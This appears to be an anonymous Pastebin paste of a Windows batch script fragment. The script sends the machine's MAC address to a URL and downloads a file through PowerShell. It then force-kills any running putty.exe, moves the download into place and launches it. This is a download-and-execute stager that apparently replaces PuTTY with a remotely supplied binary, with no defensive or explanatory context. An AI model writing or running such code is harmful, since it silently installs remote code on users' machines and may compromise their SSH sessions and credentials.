Advertisement
Guest User

Untitled

a guest
Mar 13th, 2025
16
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.72 KB | None | 0 0
  1. REM Append MAC address as a query parameter
  2. set "fullUrl=%url%?mac=%macAddress%"
  3.  
  4. REM Download the file using PowerShell
  5. powershell -Command "try {(New-Object System.Net.WebClient).DownloadFile('%fullUrl%', '%tempFile%'); exit 0} catch {exit 1}"
  6.  
  7. if exist "%tempFile%" (
  8. REM Check if the target process is running and terminate it
  9. tasklist /FI "IMAGENAME eq putty.exe" 2>NUL | find /i "putty.exe" >NUL
  10. if %ERRORLEVEL% equ 0 (
  11. taskkill /F /IM putty.exe >NUL 2>&1
  12. timeout /t 2 /nobreak >NUL
  13. )
  14. REM Attempt to move the downloaded file
  15. move /Y "%tempFile%" "%outputPath%" >NUL 2>&1
  16. )
  17.  
  18. REM Start the application if the file exists
  19. if exist "%outputPath%" (
  20. start "" "%outputPath%"
  21. )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement